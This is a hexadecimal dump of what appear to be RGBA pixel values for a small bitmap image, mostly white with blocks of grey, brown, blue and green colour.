FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4C4C4FFC5C6C6FFC6C6
C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6
C6FFC6C6C6FFC5C5C6FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFC0C0C0FFC0C0
C0FFBFC0C0FFBFC0C0FFBFBFBFFFFFFFFFFF9F8457FFE7B96CFFDEB066FFDEB1
65FFDDB067FFDDB067FFDDB067FFDDB067FFDDB067FFDDB067FFDDB067FFDDB0
67FFDEB165FFDFB067FFEBBC6EFF8D7D66FF896152FFBB765AFFB77459FFB775
58FFB16B4DFFFAECE8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAFA0EEFF3E19
CDFF4724D0FF4624D1FF4824D6FF5F548AFF8E543CFF923E1DFF933F1FFF9341
1FFF944020FF944020FF944020FF944020FF944020FF944020FF944020FF9440
20FF93411FFF93401EFF923D1CFF936D5FFFB18452FFFFB05CFFFFAC5AFFFFAD
5BFFFFAD5BFFFFAD5BFFFFAD5BFFFFAD5BFFFFAD5BFFFFAD5BFFFFAD5BFFFFAD
5BFFFFAD5BFFFFAC5AFFFFB25CFF988063FF8D6C4BFFB9864EFFB5844DFFB585
4EFFB5854EFFB5854EFFB5854EFFB5854EFFB5854EFFB5854EFFB5854EFFB585
4EFFB5854EFFB5844DFFBC894EFF857461FF8A604FFFAF6B50FFAD6B50FFAD6C
51FFA86143FFEFE2DEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA697E4FF3612
C3FF3F1DC5FF3E1CC5FF3E1AC9FF5B4F8CFF874C35FF8A3818FF8B3A1AFF8B3A
1BFF8B3B1BFF8B3B1BFF8B3B1BFF8B3B1BFF8B3B1BFF8B3B1BFF8B3B1BFF8B39
17FF8B3818FF8B3919FF883715FF8D6758FFB58054FFF89E59FFF49D59FFF49D
5AFFF49E5BFFF49E5BFFF49E5BFFF49E5BFFF49E5BFFF49E5BFFF49E5BFFF49E
5AFFF49D5AFFF49D59FFFBA05AFF9C7E63FF7D5B3FFFA66839FFA16638FFA267
3BFFA2683AFFA2683AFFA2683AFFA2683AFFA2683AFFA2683AFFA2683AFFA268
3AFFA2673BFFA16638FFAA6A3BFF7C6A5BFF875C4BFFAD6648FFA9654BFFAB66
4CFFA45C3EFFEDE1DDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA292E2FF2F0A
BFFF3A15C2FF3715C3FF3711C7FF594D8AFF844933FF853311FF883314FF8736
14FF873516FF893716FF893716FF893716FF893716FF893716FF893512FF8742
3DFF8A4031FF863211FF85300FFF8D6757FFB37853FFF89559FFF4965AFFF595
5BFFF5965AFFF5965AFFF5965AFFF5965CFFF5965CFFF5965AFFF5965AFFF596
5AFFF5955BFFF4945AFFFB975AFF9A7964FF744C36FF96522AFF92512AFF9452
2DFF93522CFF93522CFF95522CFF95522CFF95522CFF95522CFF93522CFF9352
2CFF94532DFF92502AFF99522BFF766155FF845846FFA96143FFA76146FFA962
46FFA25838FFEEE0DBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA091E2FF2A04
BEFF3311C2FF330EC0FF300BC5FF584A89FF82462FFF842D0CFF842F0EFF8632
11FF853110FF853110FF853310FF853210FF853210FF853310FF862F0AFF8247
5BFF873E35FF852E0BFF822B0AFF8B6555FFB26D4BFFF6854BFFED834BFFEE83
4DFFEE844CFFEE844CFFF0854DFFF1854EFFF1854EFFEF844DFFEE844CFFEE84
4CFFEE834DFFED824AFFF9874BFF9A735FFFBFC7C9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA2A3FF835845FFA86041FFA65F42FFA860
43FFA15636FFEDE0DBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F90E2FF2602
BDFF320DC1FF2F0BBFFF2D08C5FF554988FF82442CFF812B09FF822D0CFF832E
0CFF852F0DFF842F10FF852F0FFF842E0EFF842F0FFF842F0FFF842F10FF852E
09FF832D0AFF822C0BFF812807FF8C6455FFB8BFC3FFFFFFFFFFFAFBFBFFFAFB
FBFFFAFBFBFFFBFBFBFFEFFBFBFFE2FAFBFFE0F8FBFFF3FBFBFFFBFBFBFFFAFB
FBFFFAFBFBFFFAFBFBFFFFFFFFFF9EA2A3FFB4B7B6FFFFFFFFFFFCFFFEFFFCFF
FEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFF
FEFFFCFFFEFFFCFFFEFFFFFFFFFF9A9A9AFF845847FFAC6447FFA76144FFA761
44FFA15738FFEDE0DBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F90E2FF2703
BDFF320EC1FF300CC1FF2E09C5FF554988FF7C4028FF852A00FF842F0CFF842C
07FF842C08FF842E0EFF7A2201FF863008FF842D0EFF852C05FF842F0FFF8530
0FFF842F0EFF822C0BFF812807FF8C6454FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFE5F6FCFFA6AD81FFB0B48FFFECF8FEFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFB4B7B6FFFFFFFFFFFCFFFEFFFCFF
FEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFF
FEFFFCFFFEFFFCFFFEFFFFFFFFFF9A9A9AFF855947FFAE674AFFAC684BFFAB67
4AFFA05738FFECE0DBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F90E2FF2703
BDFF320EC1FF300CC1FF2D09C5FF554988FFA6A8DAFF8A597DFF8A2800FF7C69
CEFF8B659EFF7B1E00FFD7BEB9FF9A98FFFF822400FF825B99FF87320EFF842F
0EFF832E0DFF852E0BFF822B0AFF8C6354FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFE1F0F7FFCDDDA6FFDEECC0FFE1F0F6FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFC9CCBEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA3A59EFF865B4AFFB06A4DFFAE6B4FFFAF6C
50FFA96243FFEEE2DCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F90E2FF2602
BCFF300DC0FF2E0BBEFF2E09C4FF564988FF92552FFFD8CEE5FF9577B5FF8C72
C1FFA889ACFFD8CEE4FF8B6DB5FF8E3200FF812A0BFF873517FF822C0DFF832E
0BFF822A05FF83485DFF863828FF8B6354FFB8BEBFFFFFFFFFFFF9FBFBFFF9FB
FBFFF9FBFBFFFAFBFBFFF1FBFBFFDCF5FBFFDFF3FBFFF7FBFBFFF9FBFBFFF9FB
FBFFF9FBFBFFF9FBFBFFFFFFFFFF9DA0A2FF2A2183FF2114B3FF2213AEFF2316
AEFF2416AEFF2417AEFF2417AEFF2417AEFF2314AEFF2013ADFF1F12ABFF1F12
ABFF1F10ADFF1F11ADFF2314B7FF4E4A7CFF865B4AFFB26E51FFB06E52FFB16F
53FFAB6545FFEFE2DDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA392E4FF3109
C3FF3D14C6FF3E12C7FF3E0FCDFF584988FF8077CDFF8574E6FF8F83E9FF604F
DDFF6F5FE3FF8A7BE6FF8C81EAFF8D88FEFF8F3703FF8E3A13FF8D3912FF8E45
35FF8F432BFF8E370AFF8F390CFF8D6454FFB26D4DFFF88E57FFEF8A56FFEF8B
57FFEF8B57FFEF8B58FFF18B58FFF28D59FFF28B56FFF08955FFEF8754FFEF87
54FFEF8954FFEF8954FFFA9059FF9A725FFF3F368AFF4337C0FF4236BBFF4337
BAFF4436BCFF4438BCFF4438BCFF4438BCFF4438BCFF4438BCFF4538BCFF4337
BCFF4337BBFF4235BBFF4337C4FF575382FF875C4BFFB47153FFB27055FFB171
56FFAD6749FFEFE4DEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA894E5FF3A0A
C6FF4215C9FF4013C9FF400FCFFF584989FF8278CDFF8C7CE7FF8B7CE9FF624F
DEFF7262E4FF9084E8FF8A7AE8FF8E87FEFF923A05FF924017FF923E12FF9052
55FF934A32FF913D10FF903B0FFF8D6454FFB37758FFF89C6AFFF69A6AFFF699
6BFFF69B6BFFF69B6BFFF69B6BFFF69B6BFFF69B6BFFF69B6BFFF69B6BFFF69B
6BFFF69A6BFFF69A69FFFC9E6BFF9A7566FF3D358AFF4234C1FF4135BAFF4235
BCFF4135BCFF4135BCFF4135BCFF4335BCFF4335BCFF4135BCFF4135BCFF4235
BCFF4236BCFF3F33BAFF4434C6FF555280FF865C49FFB57155FFB37154FFB270
55FFAE6749FFF0E4DEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA791E6FF3705
C8FF4110CBFF3F0ECAFF410AD0FF554787FF8E502DFF9581D7FFE0CAC2FF8F72
C2FFA381AAFF9C86D3FFDDCBCAFF983E00FF913D0FFF913F12FF913F12FF923E
0CFF913D0DFF923D0EFF923C0BFF8D6452FFB57558FFFA9C6BFFF69C69FFF69B
6AFFF69B6AFFF69B6AFFF69B6AFFF69B6AFFF69B6AFFF69B6AFFF69B6AFFF69B
6AFFF69C6AFFF69A69FFFE9E6DFF997564FF403A94FF6156D0FF5C51CBFF5D53
CBFF5D52CBFF5D52CBFF5D52CBFF5D52CBFF5D52CBFF5D52CBFF5D52CBFF5D52
CBFF5D53CBFF5C52CBFF6054D2FF5F5C90FF8D6250FFC0876CFFBC8469FFBD84
6AFFB8795FFFF5E9E5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB4A2EBFF5028
CFFF5933D2FF5831D2FF5A32D6FF635596FF9C98D7FFDAB39BFF9C430DFF9B83
D3FFA985A9FFA6541AFFA381B0FFD4D1FFFFA04E22FFA45934FFA45934FFA458
34FFA45833FFA45732FFA35832FF90685AFFBA7B5EFFFDAB82FFF9A77DFFF9A8
7DFFF9A87DFFF9A87DFFF9A87DFFF9A87DFFF9A87DFFF9A87DFFF9A87DFFF9A8
7DFFF9A87DFFF9A77BFFFDAA81FFA98371FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
BFFFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0BFFFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFBFC0
BFFFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFC0C0BFFFC0C0BFFFC0C0
BFFFC0C0BFFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFBFBFBFFFC0C0C0FFBFBFBFFFFFFFFFFF2628B6FF0C10FFFF0E10FFFF0E10
FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11
FFFF0E10FFFF0D0FFFFF0D0FFFFF4C4E9AFF5C81A9FF66A0EFFF9DBEF9FFDAFF
CAFF73E143FF6EDB45FF74DD4CFF74DD4CFF74DD4CFF74DD4CFF74DD4CFF74DD
4CFF74DE4DFF75DE4CFF78E54DFF6D925FFF7C4628FFA6450FFFA3460FFFA246
10FFA2470FFFA2450EFFA2460FFFA24710FFA24710FFA24710FFA24710FFA246
10FFA34610FFA3450FFFA7470FFF7B5F4DFF654866FF5D3BB4FF5E39ADFF5F3B
ADFF603DADFF603DADFF603DADFF5637B9FF82435EFFFFF5E9FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF2628BBFF0E0FFFFF1011FEFF0F12
FEFF1112FEFF1112FEFF1112FEFF1112FEFF1112FEFF1112FEFF1112FEFF1112
FEFF1012FEFF0F11FEFF0D0FFFFF4D4D9EFF5160A7FF576ADEFF5368DBFF5568
E2FFCDD0F7FF9CDF6AFF57B823FF63BD35FF65BE37FF65BE37FF65BE37FF65BE
37FF64BE36FF63BE35FF64C133FF698E59FF794626FF953F0FFF943F10FF933D
0EFF913B0BFF984517FF954012FF954011FF954112FF954112FF954112FF9541
10FF954011FF943F10FF963E0EFF7A5B4CFF5A4073FF3A2BE1FF4B3CDCFF3D2D
D7FF3B2AD8FF3C2CD8FF3325E4FF5C3185FFFBF3DFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF2525B9FF0C0DFFFF0F10FEFF100F
FEFF1111FEFF1111FEFF1111FEFF1111FEFF1111FEFF1111FEFF1111FEFF1111
FEFF100FFEFF0E0FFEFF0C0DFFFF4A4A9EFF7576B7FF3A33DBFF4844D7FF4A46
D7FF3E39D7FF8778F6FFCEEABBFF57B218FF53A91CFF59AD23FF59AD23FF59AD
23FF58AD24FF57AC21FF57AF20FF648551FF734025FF8D380DFF8C390CFF9142
19FFD7BCAEFFF9F6F4FFAF765AFF8A3508FF8F3B11FF8F3B11FF8F3B11FF8D3B
11FF8D3C10FF8C390FFF8F390CFF765A4BFF50336CFFAAA5F5FFFFFFFFFFCBC6
F3FF2D19D0FF2E1EDFFF582D7AFFFBF3D9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A2A2FF2525B8FF090BFFFF0C0EFEFF0F0F
FEFF0E10FEFF100FFEFF0F0FFEFF0F0FFEFF0F0FFEFF0F0FFEFF100FFEFF0E10
FEFF0F0FFEFF0D0DFEFF0A09FFFF49499EFF886641FFD2CBEEFF432EE2FF391D
D4FF4329D5FF3C22D4FF4023DDFFC5BBF5FF8ECD4EFF429900FF4F9F12FF509F
13FF4FA012FF4E9E12FF4EA20EFF607C4CFF6E3D23FF88340BFF85330AFF9448
26FFFFFFFFFFFFFFFFFFD0B0A2FF863209FF87360FFF88370FFF88370FFF8837
10FF88360FFF87360DFF89330AFF735849FF4C2F69FFEFEFFFFFFFFFFFFFFFFF
FFFF2314DBFF542677FFFBF3D9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A2A2FF2525B8FF0909FFFF0C0DFEFF0D0D
FEFF0E0EFEFF1010FEFF0F10FEFF0F10FEFF1010FEFF1010FEFF1010FEFF0F0E
FEFF0E0EFEFF0C0CFEFF0909FFFF49499EFF6B3F20FF833300FFD6BA9DFF8A79
FBFF2B07D3FF3C1AD4FF3D1BD4FF2E0AD1FF7C5BF6FFC9E3B3FF499D03FF4696
05FF4B9A0DFF49990BFF499B08FF5F7949FF703820FF8A2A00FF882A00FF9036
0DFFCEA08CFFF4DFD6FFAB6444FF872900FF8B2F04FF8B2F04FF8B2F04FF8B2E
03FF8A2D02FF892C00FF8C2A00FF735447FF503369FF4A3CE1FFACA5ECFF5147
E7FF512279FFFBF7DDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FF2024C4FF000CFFFF010BFFFF010A
FFFF030DFFFF030FFFFF030FFFFF080FFFFF0F10FEFF1010FEFF1010FEFF0F0F
FEFF0E0EFEFF0C0CFEFF0909FFFF49499EFF6F4324FF89400BFF7C3100FFA96E
35FFD0C7EEFF4124E1FF3613D3FF3F1ED5FF3715D3FF3B15DCFFC6BAF5FF8AC8
4BFF3D9200FF48990AFF499C09FF5F7A49FF4D7079FF538E9AFF508A97FF4D88
96FF4C8490FF518B99FF4E8896FF508B99FF508B99FF508B99FF508B99FF518B
98FF4F8A98FF4F8998FF4E8B99FF607378FF55386BFF2614D8FF1803D3FF531E
65FFF4D8A4FFF6E8D0FFF1E1C7FFF1E1C9FFE9DBCEFFE0D0C6FFFBFBFBFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FF862820FFAC0C00FFB32516FFB939
27FFAD2312FFA50D00FFAC1300FF79124BFF060FFFFF1010FEFF1010FEFF0F0F
FEFF0E0EFEFF0C0CFEFF0909FFFF49499EFF704325FF914106FF8D4510FF8C38
01FF853500FFD7BC9FFF8A7AFBFF2C09D3FF3C1BD4FF3D1CD4FF2D09D2FF7D5C
F7FFCAE4B3FF489D01FF439800FF5F7A49FF506E74FF588C93FF588B91FF578C
92FF538591FF52848FFF538690FF538690FF538690FF538690FF538690FF5386
90FF528790FF518490FF518792FF617277FF52356BFF4E3EE2FFABA3EEFF6F54
BEFF2D0FB0FF3011ADFF2C0FB4FF2602A0FF854648FFECDFD3FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FF7B252AFFB23C41FFC26A6DFFCA87
87FFC0686BFFAE3E44FF9E1111FF70115BFF050EFFFF0F0FFEFF0F0FFEFF0E0E
FEFF0D0DFEFF0B0BFEFF0909FFFF49499EFF724320FF6E6C4EFF449FA4FF5C87
79FF875525FF863900FFAD7439FFCFC7EEFF4022E0FF3513D2FF3D1DD4FF3613
D3FF3913DBFFC4B9F6FF88CB45FF587747FF723B20FF943704FF923806FF9339
08FF933C09FF913708FF8D3306FF8A2F04FF8A2E04FF8A2E04FF8A2E04FF8A2D
03FF892C02FF882B00FF8C2A00FF735447FF53356BFFB2AAF7FFFFFFFFFFC3BF
F5FF412FDBFF2818E0FF512381FFD5B79CFFFBFBFBFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FF7B252AFFBB5055FFF1E1E1FFDEC1
BBFFF7F2F0FFB54C51FFA81819FF7B1B63FF0D16FFFF1515FEFF1515FEFF1515
FEFF1414FEFF1212FEFF0F0FFFFF49499EFF724521FF53948DFF02E7FFFF26C3
E0FF6B775FFF964910FF904910FF8F4606FFDDC4A3FF9080FCFF3912D7FF4824
D7FF4924D7FF3B11D6FF8C67FEFF8F9688FF713F26FF914110FF914313FF9244
16FF924517FF924517FF924517FF924617FF914416FF904215FF8F4115FF8F41
15FF8F4114FF904112FF94420FFF735849FF573A6BFF2C15DBFF5C4BDCFF2F1B
DDFF3A1AAEFFA97B76FFFBFBF2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FF7B252BFFBD5257FFEBD6D5FFD8B2
AEFFEFE2E0FFB74E51FFA9171AFF7B1B64FF0D17FFFF1717FEFF1717FEFF1616
FEFF1515FEFF1313FEFF0F0FFFFF49499EFF744320FF6B7A61FF26C4DFFF3FAC
B7FF856034FF954F13FF935117FF935015FF8C4405FFB4803EFFD4CAF1FF5230
E7FF4720D8FF4D28D8FF481EDEFF584B91FF724025FF934310FF934513FF9446
15FF944716FF944717FF944717FF944717FF944717FF944717FF944717FF9447
16FF934615FF934513FF95440FFF735849FF573A6BFF3924E5FF2E17D9FF7243
74FFF0DBB9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FF7D232AFFB73A42FFC97177FFDDAC
ADFFC4686CFFB53E45FFAB1318FF7B1662FF0610FFFF1111FEFF1111FEFF1111
FEFF1010FEFF0E0EFEFF0A0AFFFF47479DFF734622FF925312FF746F4AFF8B5A
23FF974D0AFF965011FF955011FF955011FF955011FF924C0AFF924900FFDEC4
9FFF9581FCFF3E12DAFF4D21E0FF5A4D8EFF714023FF95440BFF93440EFF9445
10FF944611FF944611FF944611FF944611FF944611FF944611FF944611FF9446
11FF944510FF93430EFF97440AFF735747FF513371FF471DA4FFC6A085FFFBFB
FBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FF853237FFB5323CFFBB4F56FFBC50
55FFBD5359FFB2323BFFB9383AFF8F387AFF2B33FFFF3333FFFF3333FFFF3333
FFFF3333FFFF3131FFFF3232FFFF5555ADFF774D2FFFA56732FFA5612BFFA364
31FFA26533FFA26533FFA26533FFA26533FFA26533FFA26533FFA16432FF9A59
21FFBF9259FFD5C4E4FF7153E9FF65599DFF77482FFFA45F33FFA15C31FFA25C
33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D
33FFA25C33FFA15B31FFA45D32FF816455FF896458FFFFFDE5FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFABABABFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
